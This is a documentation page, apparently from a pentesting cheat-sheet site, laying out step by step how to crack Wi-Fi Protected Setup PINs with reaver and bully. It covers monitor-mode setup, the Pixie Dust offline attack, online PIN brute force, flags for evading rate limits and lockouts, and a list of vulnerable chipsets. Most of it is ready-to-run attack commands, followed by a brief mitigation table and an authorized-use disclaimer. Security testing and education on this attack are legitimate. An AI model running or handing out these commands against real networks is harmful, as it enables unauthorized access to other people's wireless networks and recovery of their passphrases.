Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
Overview
WPS (Wi-Fi Protected Setup) PIN is an 8-digit code split into two 4-digit halves, verified independently. This design flaw reduces the keyspace from 10⁸ to ~11,000 combinations, making brute force feasible.
Pixie Dust exploits weak nonce generation in some chipsets to recover the PIN offline in seconds.
| Tool | Purpose |
|---|
wash | Enumerate WPS-enabled APs |
reaver | WPS PIN brute force + Pixie Dust |
bully | Alternative WPS PIN brute force + Pixie Dust |
1. Enable Monitor Mode
sudo airmon-ng check kill
sudo airmon-ng start wlan0
2. Enumerate WPS-Enabled Networks
Key output columns:
| Column | Meaning |
|---|
| BSSID | AP MAC address |
| Ch | Channel |
| dBm | Signal strength |
| WPS | WPS version |
| Lck | Locked (Yes = lockout active) |
| ESSID | Network name |
Lck: No.
3. Pixie Dust Attack
Offline attack — recovers PIN from weak nonces. Fast (seconds on vulnerable chipsets).
With reaver:
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K 1 -vv
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -d -v 3
-K 1 / -d = Pixie Dust mode.
If successful, outputs WPS PIN and WPA passphrase.
4. WPS PIN Brute Force
Online attack — tries all PIN combinations. Takes 4–10 hours on non-locked APs.
With reaver:
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -v 3
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -S
/etc/reaver/<BSSID>.wpc.
5. Tune for Rate Limiting / Lockouts
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv \
--delay=5 \
--lock-delay=300 \
--fail-wait=360
| Flag | Effect |
|---|
--delay | Seconds between PIN attempts |
--lock-delay | Wait time after lockout detected |
--fail-wait | Wait time after consecutive failures |
6. Known Vulnerable Chipsets (Pixie Dust)
Chipsets with weak nonce generation:
- Ralink (RT2860, RT3070, RT5370)
- Realtek (RTL8188)
- Broadcom (early firmware)
- Some Atheros implementations
Check with PixieWPS compatibility list if Pixie Dust fails.
Mitigation Reference
| Defense | Effect |
|---|
| Disable WPS entirely | Removes attack surface |
| Enable AP PIN lockout | Slows brute force, doesn’t stop Pixie Dust |
| Updated firmware | Patches weak nonce generation |
Always run wash first. Attacking a locked AP (Lck: Yes) wastes time — wait for lockout to reset or target a different AP.
Authorized environments only. WPS attacks against networks you don’t own or have explicit permission to test are illegal.